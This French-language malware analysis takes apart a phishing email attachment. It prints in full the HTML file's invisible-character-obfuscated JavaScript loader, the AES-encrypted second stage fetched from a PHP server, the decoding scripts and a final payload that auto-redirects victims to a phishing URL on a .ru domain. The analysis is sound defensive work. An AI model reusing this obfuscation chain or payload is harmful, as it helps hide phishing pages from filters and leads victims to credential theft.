Analyse email de phishing

1. Reception d'un mail de phishing sur une boîte email pro
Capture d’écran 2024-12-08 à 16.37.39
Le mail comporte une pièce jointe à télécharger "Invoices_14950300.html"
Ouverture de la pièce jointe
Ouverture de Invoices_14950300.html : <html>
<head>
<meta charset="UTF-8">
</head>
<body>
<script>longan = '#name@company.fr';
new Proxy({}, { get: (_, dipper) => { const cardinal = [...dipper].map(marjoram => +("ᅠ" > marjoram)).join``.replace(/.{8}/g, whiskerwood => String.fromCharCode(parseInt(whiskerwood, 2))); const limpet = new Function(cardinal); return limpet(); } }).ᅠㅤㅤㅤᅠᅠㅤㅤᅠㅤㅤㅤᅠᅠᅠᅠᅠㅤㅤᅠᅠᅠᅠㅤᅠㅤㅤㅤᅠᅠㅤᅠᅠㅤㅤㅤᅠᅠㅤᅠᅠㅤㅤᅠㅤㅤㅤㅤᅠㅤㅤㅤᅠㅤㅤㅤᅠᅠㅤᅠᅠᅠᅠᅠᅠᅠㅤㅤㅤㅤᅠㅤᅠᅠㅤᅠᅠᅠᅠᅠᅠᅠㅤᅠᅠᅠㅤᅠᅠㅤㅤᅠㅤᅠᅠᅠᅠㅤㅤㅤᅠㅤᅠᅠᅠㅤㅤㅤᅠㅤᅠᅠᅠᅠㅤᅠᅠᅠㅤᅠᅠᅠㅤᅠㅤᅠㅤㅤᅠᅠㅤᅠᅠㅤㅤㅤᅠㅤㅤㅤᅠᅠᅠᅠᅠㅤㅤㅤᅠᅠㅤㅤᅠᅠㅤㅤㅤᅠㅤᅠᅠᅠㅤᅠᅠㅤㅤㅤᅠᅠㅤᅠㅤᅠㅤㅤᅠㅤㅤᅠᅠᅠᅠᅠᅠᅠㅤᅠㅤㅤㅤㅤᅠᅠㅤᅠㅤㅤㅤㅤᅠㅤㅤㅤᅠㅤᅠᅠᅠㅤㅤᅠㅤᅠᅠᅠᅠㅤㅤᅠᅠㅤᅠㅤᅠㅤㅤᅠᅠᅠᅠㅤᅠㅤㅤᅠᅠᅠᅠᅠᅠᅠㅤᅠㅤᅠㅤㅤᅠᅠㅤᅠᅠᅠㅤᅠᅠㅤㅤㅤᅠㅤᅠㅤᅠㅤㅤᅠᅠㅤᅠᅠᅠᅠㅤᅠᅠᅠㅤᅠᅠᅠㅤᅠㅤᅠㅤㅤᅠᅠㅤᅠᅠㅤㅤㅤᅠㅤㅤᅠㅤᅠᅠㅤᅠㅤㅤᅠㅤㅤㅤㅤᅠㅤㅤᅠᅠᅠᅠㅤᅠㅤㅤㅤᅠᅠㅤㅤᅠㅤㅤㅤᅠㅤᅠᅠᅠㅤㅤㅤᅠᅠㅤᅠᅠㅤㅤᅠㅤㅤㅤㅤᅠᅠㅤᅠᅠㅤㅤㅤᅠᅠㅤᅠㅤᅠㅤㅤᅠㅤㅤᅠᅠᅠᅠᅠᅠㅤㅤᅠㅤㅤㅤᅠᅠㅤㅤᅠᅠᅠᅠㅤᅠㅤㅤㅤᅠㅤᅠㅤᅠㅤㅤᅠᅠᅠᅠᅠᅠᅠㅤᅠㅤᅠㅤㅤᅠᅠㅤᅠᅠᅠㅤᅠᅠㅤㅤㅤᅠ</script>
</body>
</html>
Le code que vous avez partagé est un exemple d'obfuscation JavaScript sophistiquée. Voici une explication simple de ce qu'il fait :
Composants clés du code :
-
Variable
longan:- Définit une chaîne de texte (
#name@company.fr)
- Définit une chaîne de texte (
-
Proxy et fonction
get:- Utilise un Proxy JavaScript pour intercepter des accès à des propriétés sur un objet vide (
{}). - Chaque propriété demandée (
dipper) est transformée en une chaîne binaire, qui est ensuite convertie en texte lisible (grâce àString.fromCharCode).
- Utilise un Proxy JavaScript pour intercepter des accès à des propriétés sur un objet vide (
-
Texte spécial (caractères invisibles) :
- Le texte obfusqué (comme
ᅠㅤㅤㅤ) est en réalité un code qui est "décodé" par le mécanisme du Proxy. Les caractères invisibles représentent des données binaires (0 et 1) qui sont traduites en instructions JavaScript.
- Le texte obfusqué (comme
-
Exécution dynamique (
new Function) :- Après décodage, le texte binaire est interprété comme du JavaScript grâce à
new Function(cardinal), qui permet de créer et d'exécuter dynamiquement du code.
- Après décodage, le texte binaire est interprété comme du JavaScript grâce à
Ce script utilise des caractères invisibles pour masquer du code JavaScript malveillant. Lorsqu'il s'exécute, il décode ces caractères en instructions JavaScript réelles.
Décodage :
Utilisation de nodeJS pour décoder la chaîne invisible en code 'FFA0' :
function decodeHiddenChars(dipper) { const cardinal = [...dipper].map(marjoram => +("ᅠ" > marjoram)).join``.replace(/.{8}/g, whiskerwood => String.fromCharCode(parseInt(whiskerwood, 2))); return cardinal; }
// Utilisez la partie avec les caractères spéciaux de votre script
const obf2 = ᅠㅤㅤㅤᅠᅠㅤㅤᅠㅤㅤㅤᅠᅠᅠᅠᅠㅤㅤᅠᅠᅠᅠㅤᅠㅤㅤㅤᅠᅠㅤᅠᅠㅤㅤㅤᅠᅠㅤᅠᅠㅤㅤᅠㅤㅤㅤㅤᅠㅤㅤㅤᅠㅤㅤㅤᅠᅠㅤᅠᅠᅠᅠᅠᅠᅠㅤㅤㅤㅤᅠㅤᅠᅠㅤᅠᅠᅠᅠᅠᅠᅠㅤᅠᅠᅠㅤᅠᅠㅤㅤᅠㅤᅠᅠᅠᅠㅤㅤㅤᅠㅤᅠᅠᅠㅤㅤㅤᅠㅤᅠᅠᅠᅠㅤᅠᅠᅠㅤᅠᅠᅠㅤᅠㅤᅠㅤㅤᅠᅠㅤᅠᅠㅤㅤㅤᅠㅤㅤㅤᅠᅠᅠᅠᅠㅤᅠㅤㅤㅤᅠᅠㅤㅤᅠㅤㅤᅠᅠᅠㅤㅤᅠㅤㅤㅤᅠᅠㅤᅠᅠㅤㅤᅠㅤᅠᅠㅤᅠㅤㅤㅤᅠᅠᅠᅠᅠㅤㅤㅤᅠㅤᅠᅠᅠᅠㅤㅤㅤㅤㅤᅠᅠᅠㅤᅠᅠᅠㅤᅠᅠᅠㅤᅠㅤᅠᅠㅤᅠᅠㅤㅤㅤᅠㅤㅤ;
console.log(decodeHiddenChars(obf2));
Résultat du décodage :
1. Ce qui donne le résultat suivant (URL masquée par des 'x') :
sparrow = "htt"+'ps:'+`//xxxx`+"xx"+'xxxxxxx'+`xxx`+"x.com/"+"res444."+"php"+`?2-68`+`747470`+"733"+"a2f2"+`f304541`+'2e6b'+"6f6d697"+`26f6e652`+`e72752f7`+`17a314`+"35771"+`2f-longa`+"n"; document['write']("<script src='" + sparrow + "'><\/script>");
2. Concaténée, l'url appelée est la suivante :
https://xxxxx.com/res444.php?2-68747470733a2f2f304541362e6b6f6d697e6f6e652e72752f317a31343577772f-longan
L'utilisation de caractères invisibles est une méthode astucieuse pour masquer des données dans un format inattendu. Elle joue sur des aspects méconnus de l'encodage des caractères Unicode.
2. Analyse de l'URL récupérée :
URL récupérée du dessus : https://xxxxx.com/res444.php?1-1
Le fichier PHP renvoie une code seulement si nous mettons après le ?1-1. Voici une analyse du code que vous avez fourni, qui semble effectuer les actions suivantes :
Code renvoyé par le serveur PHP :
var MHlAbWORFixppHXX = document.createElement("script");
MHlAbWORFixppHXX.setAttribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js"); document.head.append(MHlAbWORFixppHXX); MHlAbWORFixppHXX.onload=function(){ var {a,b,c,d} = JSON.parse(atob("eyJhIjoibVAweE9MNzlEZXVwajNvdVprdUtMa25OVzg2YlB1NXNvNzNXSlV2ZzBvMU5hd0diK0hiNjRkQjBqamcybE81cU5iQkkxMkZkN2hpR3U0Nll2QmRPTEx4cDRmblwvZFNneTdLc3RMckorSXRqb1lJNW9lemlvczc0QlcyU1A2WFlnQlA5cEpFb3RwSStNSjlaTzlrSG83VEJFZ0FPeWdlM3VqbXRWUmF5OTRyXC96ejhCbDkramF1XC9UZGx1OHVoMTBSNkhac1hlQ1h2RG5vUzJHQ1dFNUhma1cxRlc1TCt5UUEzZGQySWZISHVESHFtelBZNlFEVDFpOHk5czNzV0FtWDhkZzdhdjFwYllDQVVPOW4wRUZnMnhKd2ZqRDJiWVdGZXI1MVJtVTNzVzNXc2NcL1A2S25JcjVXdDluNWkrQlwvM2tuaXVzMm9VcUlGenB6d1gyS3c1N2drXC9BdG5hbUhJbGE1WXVYZDAraDJaSzFsVzlVcWdpR1grWW1QXC9QR1Z4VzQwb1RNak8yRlFId2RsUnJWaXJYTUhuVVdCVDFiTlhXbFpwbVdjNlBvM1JoM0RYMmdtbk1tN0x4YzQ1UjhWWVMwZlU0QWJsajZPdWZlT1wvSlpNMlwvVk45M1QwQytyZ2NKeW1KZVR1aktvcVBFRVI2Qm95Rmd2RHhzcmZDK1o1S2VpYW5adE83M1NHOTlYT1pFWURROVYyUnpGYXZjTlwva2VWRmlnOUVjTGM4RGFJSldoQnFNaXRYYTJGRjlKNTJPQ2N1ZTZQMjlGTm5sc2FadXFqYUQyT1Z1QjR1OGRoam04cTRmK2FtZENxNWJVd1pHakpaSGZGRDYzdjNpbkJkSEpwMGd6ckZQRUNXY2V1S2dEeHF3Mk1keFh5NW93Q1h6ZCtHbkVcL2R4UVpIWHlLMVNSZTdGM0cydVJNTW1NTGJDQVh0MjNMa25JeWR4MVFhYWdEZXpVRU9YT1wvc3F0cllVVXdtdFZKUVJJNGhcLzZlUFVHRHR2TkZFQm9yWm16N0N5VGlVbHhmOEJhaDZHOFVSbkpuckkrMFZ3c1hnaTkrckhlOVlYOXBGaEhCZGVIV0lCaTVqZW96bTc2NHNRR0c0dEhNeW9RVjI5aUh3dGtkU0NUbTUyRW1IVFlreXdNa3JCMVpQXC83NnBQQlQwZ3RmMWM2UHlXYnpaVVpoN2YzTERlaU14c2lYeUF1dXJiTklvY3I2Z1NLQkJQamRjRHNwUWxcL0MrVzdyUjBSc1JSM2FaeVVaOGloSGpSeFwvVXFkK2RHbmpxSXdTQVVkd3phK1JPSXU3V3pFbFJoWjVDeWRoZndjYzdwbzlYN053dWlIelBRY2xkSFJ3N0U1S0xaNWR3dFdMVkNzNk9vdHQxeFwvRzYwRDdMcXNGWTFPbzVFSHlLUXJFb1RlYk8zMUs5Q2RQVCtSVlBINHB6UEhOUWM2OWZsZFhZMXB2VW1MOGJZZGNGaGZlNUtxS1NxTitNNkYya3hGdUl5ZTJ1UU5zd1p6K1JYRW5Uejh1YTY0akdoSkUxQWdlamNnT2ZWTkFteExPSzdIV3I0YzUyYXRwYnJTYWk0eHdGVndJRml1aVhjSmcxeDNcL3ZHR2grSysyNzFsY3hPTjNwd2RtbjRTTGFGVDVCNUpnSW91M0NNMFh3T0pNU2JsS2NibnhCN3ZPOXRybTVod0U1aVljMXpuY29ONHNcL3E2WU11eDJrQUpCdGk5SXU4dVBFUkdHWU9oYVlKZDBHYTEyNkREWGdIaDVYNUEyM25UN3BGTytnQ05uMFNxanRETmNreFEwQWRseU9qVE1iQ0tvbExuNzBQdHdVQkJRTkRzMFRLQVVSSUIyM0xzZmgyM3F1OG5vZ09iOG51ZnRUaVwvIiwiYiI6ImIyZmExMTUwZWRkYmI2ZmU3N2ZkMDM4ODVlNmM2OWRjIiwiYyI6ImFjNjA2YWY5M2NjYjE5Yzk4NzNjOTYyYmY0NDlkNjE2IiwiZCI6IjMyMzMzODYzMzYzNDM1NjI2NDY0MzI2NDY1Mzc2NjM3MzQ2NDM2NjUzNDY1MzEzNTM5Mzc2MzY1MzczOTMzMzQifQ==")); var SGjwRjAJXlUEWoyM = CryptoJS.PBKDF2(CryptoJS.enc.Hex.parse(d),CryptoJS.enc.Hex.parse(b),{hasher:CryptoJS.algo.SHA512,keySize:64/8,iterations:999}); yoUUFKQIffJQPMus = CryptoJS.AES.decrypt(a,SGjwRjAJXlUEWoyM,{iv:CryptoJS.enc.Hex.parse(c)}).toString(CryptoJS.enc.Utf8); yoUUFKQIffJQPMus = yoUUFKQIffJQPMus.replace(/ClckTBegMiTPAYot/g, ); document.write(yoUUFKQIffJQPMus); }
Fonctionnement principal du code :
1. **Chargement de Crypto-JS dynamiquement :**
```javascript
var MHlAbWORFixppHXX = document.createElement("script");
MHlAbWORFixppHXX.setAttribute("src", "https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");
document.head.append(MHlAbWORFixppHXX);
```
- Le code charge la bibliothèque **Crypto-JS** depuis un CDN (Content Delivery Network). Cela permet d'utiliser des fonctions de cryptographie comme **AES** ou **PBKDF2** sans avoir à inclure la bibliothèque directement dans la page.
2. **Décodage de données en base64 :**
```javascript
var {a, b, c, d} = JSON.parse(atob("..."));
```
- Une chaîne de caractères encodée en Base64 est décodée et convertie en un objet JSON contenant 4 propriétés : `a`, `b`, `c`, et `d`.
Ces données contiennent probablement :
- `a` : Texte chiffré en AES.
- `b` : Un sel (salt) pour la dérivation de clé.
- `c` : Un vecteur d'initialisation (IV).
- `d` : Une clé ou un indicatif pour générer la clé de déchiffrement.
3. **Génération de la clé AES avec PBKDF2 :**
```javascript
var SGjwRjAJXlUEWoyM = CryptoJS.PBKDF2(CryptoJS.enc.Hex.parse(d), CryptoJS.enc.Hex.parse(b), {
hasher: CryptoJS.algo.SHA512, keySize: 64 / 8, iterations: 999 }); ``` - Une clé AES est générée dynamiquement à l'aide de PBKDF2 avec les paramètres :
-
Algorithme de hachage : SHA-512.
-
Taille de clé : 64 bits.
-
Nombre d'itérations : 999. - Cette méthode renforce la sécurité en rendant plus difficile une attaque brute-force.
- Décryptage des données :
yoUUFKQIffJQPMus = CryptoJS.AES.decrypt(a, SGjwRjAJXlUEWoyM, {
iv: CryptoJS.enc.Hex.parse(c) }).toString(CryptoJS.enc.Utf8); ``` - Les données chiffrées (stockées dans
a) sont déchiffrées avec la clé AES générée (SGjwRjAJXlUEWoyM) et le vecteur d'initialisationc.-
Post-traitement du texte décrypté :
yoUUFKQIffJQPMus = yoUUFKQIffJQPMus.replace(/ClckTBegMiTPAYot/g, );- Le texte décrypté subit une opération de remplacement, probablement pour enlever ou modifier des portions spécifiques.
-
Affichage du résultat dans la page :
document.write(yoUUFKQIffJQPMus);- Le texte final décrypté est injecté directement dans le document HTML, affichant le contenu.
Données décryptées :
< script> AQVPsXykUDWKmWGt = location.hash.substring(0); let url = null; if (!AQVPsXykUDWKmWGt.includes('#')) { url = ""; } if (AQVPsXykUDWKmWGt.includes('#')) { url = "" + "#" + String.fromCharCode(Math.floor(Math.random() * (90 - 65 + 1)) + 65); } var dVRfXOkagaGJMqJh = document.createElement('iframe'); dVRfXOkagaGJMqJh.sandbox.add('allow-same-origin'); dVRfXOkagaGJMqJh.sandbox.add('allow-top-navigation'); dVRfXOkagaGJMqJh.sandbox.add('allow-modals'); dVRfXOkagaGJMqJh.sandbox.add('allow-scripts'); dVRfXOkagaGJMqJh.sandbox.add('allow-popups-to-escape-sandbox'); dVRfXOkagaGJMqJh.sandbox.add('allow-forms'); dVRfXOkagaGJMqJh.src = url+AQVPsXykUDWKmWGt; dVRfXOkagaGJMqJh.style.cssText = 'position: fixed; inset: 0px; width: 100%; height: 100%; border: 0px; margin: 0px;padding: 0px; overflow: hidden; z-index: 999999;'; document.write(dVRfXOkagaGJMqJh); document.body.innerHTML = ""; document.body.appendChild(dVRfXOkagaGJMqJh); < /script>
- Décryptage des données :
Code NodeJS pour désobfusquer
// Importer les bibliothèques nécessaires
const CryptoJS = require('crypto-js');
// Fonction principale pour dé-obfusquer le code
function deobfuscate() {
// Données obfusquées dans le script original const encodedData = "eyJhIjoiZVkwNCtkM0dLblFGZDFXZkoyS05HZFB0c2lZOFJybm1kUGllTXdOblBNdzgyUW1XQXBMdWtReUNTVXBFenpxQU80b0hHNkIra3A1YkEwekk0RzBVd3FWbFJpYTRNVmp5eno2eHM2dWxyMEVtaVloRllJWFdCRlhmWG8zc3VEUTVTMzQzQjU0bzlUWnVWUHRyaFlcL3VaNG0wZXVKU1U0TGUxTTNzaVFaaUlaRDRhbEtsK1NEa2lFSERWdjJHXC9rUHEwNmJWaU93Rm1jN0ZoVndyRXdPZnFmZW5PVnJVM0dyQ1JnblNKVFM4Z0F4aHhvSElQNEhFNklxaTdTTWllUzlLa2pxK1VRTERVRXpMVzRwNlZJXC9LeWlrbDI3QmpCck5pbEZcL0srUU5WaXB3UWZJcHQ1VzE2TVBLU0ZMUzRCVlF1TFdXXC9WZmJYKzFvXC9iSVR2ZjNDVjdHZzh0K2wzUHhNRzE3MVp5eEV5VXEwN1dFVFdWMWlNbkVERlFYNlhuNURzeGRkU0hxeEhUT0o1MnVXZVRkWWJPcllxaEpCZUg4UGNHQ1ByXC90VDRaZnFESHdBM2xwcHY1dmlqZkloV25jOG9LZ2p5Z1ZXY1lKNTBaY3dnRDNlQzJyakdFSDhDNFwvUXFJdUVFKzZmRE9FNUlsQ1hQRWpOWGtORVBLUXNzNFZmRU5pNDFmSFJSUWgrRFZCck95b0VvNXROSEg3blorSFNMV2VOOU5cL0RGWFVoXC9JckZ6aUUyTkJcL3RFclJpWmJlb1RvUjZVMkF0cm9hNFU5SjBZQkxEa09McDhyM0Z2NnlvWU1ZdlZaMzdJYmtqeEZxSWMzOEltOXIzSG5sMkdZUXFNcW5TN0g1blBDa001ekdpTEJUWklrNlJjdnFsQnY4U2hUMlhnU2Rxc3NvZVpOR3Z6N2lpVUdjaDArUGpBOWJiQVRJN3l4c1wvdjl1VmhxMnprbWk5UFM3cXd4QlYxTVNRSjJYeGxselNwSElFTWlvSFhDZUY4Y3I3dVNUUnNRQmJMZ0J4d2ttXC9zem1QTmNGRHZEV0xsYWc9PSIsImIiOiJmMzRkZGEwN2Y0ZGQxYWYwNjEyMDVjOTJhNGNkZmE1ZSIsImMiOiI3OGI0YWEzYjZhNTdhMjEyNTk5YTlmNzhkNGRiNzZiZSIsImQiOiI2MzYxMzUzOTM4NjU2NTM1NjMzMzM4MzY2NTMyMzYzOTY2NjEzNzYyMzc2NTMwNjQzNTMyMzc2MzY0NjU2NjYyIn0=";
// Décoder la chaîne encodée en Base64 const decodedData = JSON.parse(Buffer.from(encodedData, 'base64').toString('utf-8'));
// Extraire les paramètres const { a, b, c, d } = decodedData;
// Générer la clé avec PBKDF2 const key = CryptoJS.PBKDF2( CryptoJS.enc.Hex.parse(d), CryptoJS.enc.Hex.parse(b), { hasher: CryptoJS.algo.SHA512, keySize: 64 / 8, iterations: 999 } );
// Déchiffrer le contenu de "a" const decrypted = CryptoJS.AES.decrypt( a, key, { iv: CryptoJS.enc.Hex.parse(c) } ).toString(CryptoJS.enc.Utf8);
// Remplacer les chaînes obfusquées si nécessaire const result = decrypted.replace(/hHhyyHoBGILyjMAA/g, "longan");
// Afficher le résultat déchiffré console.log("Contenu déchiffré :", result); }
// Appeler la fonction
deobfuscate();
Résultat du déchiffrement :
< script> let url = null; if (!"longan".includes('#')) { url = "https://0EA.komirone.ru/qz1CWq/"; } if ("longan".includes('#')) { url = "https://0EA.komirone.ru/qz1CWq/" + "#" + String.fromCharCode(Math.floor(Math.random() * (90 - 65 + 1)) + 65); } var PdPxNRqtUrVsZjOt = document.createElement('a'); PdPxNRqtUrVsZjOt.href = url+"longan"; document.write(PdPxNRqtUrVsZjOt); document.body.innerHTML = ""; document.body.appendChild(PdPxNRqtUrVsZjOt); PdPxNRqtUrVsZjOt.click(); < /script>
Etape 1
- La variable url est initialisée à null.
- Première condition : Si la chaîne "longan" ne contient pas le caractère #, alors url prend la valeur de base "https://0EA.komirone.ru/qz1CWq/".
- Deuxième condition : Si "longan" contient # (ce qui n’est pas le cas ici), alors url aurait été modifiée pour inclure un fragment (hash) généré aléatoirement (une lettre majuscule de A à Z).
Etape 2
- Un élément < a> (lien hypertexte) est créé.
- Son attribut href est défini comme l'URL construite précédemment, avec "longan" ajouté à la fin. Par exemple :
- Si url = "https://0EA.komirone.ru/qz1CWq/", alors href devient "https://0EA.komirone.ru/qz1CWq/longan".
Etape 3
- document.write : Écrit directement l’élément < a> dans la page (sous sa forme d’objet DOM).
- document.body.innerHTML = ""; : Vide tout le contenu actuel du < body>, supprimant ainsi tout ce qui était affiché.
- document.body.appendChild(PdPxNRqtUrVsZjOt); : Ajoute l’élément < a> comme unique enfant du < body>.
- Puis simule un clic sur l’élément < a>, entraînant une redirection immédiate de l'utilisateur vers l'URL spécifiée dans l’attribut href.

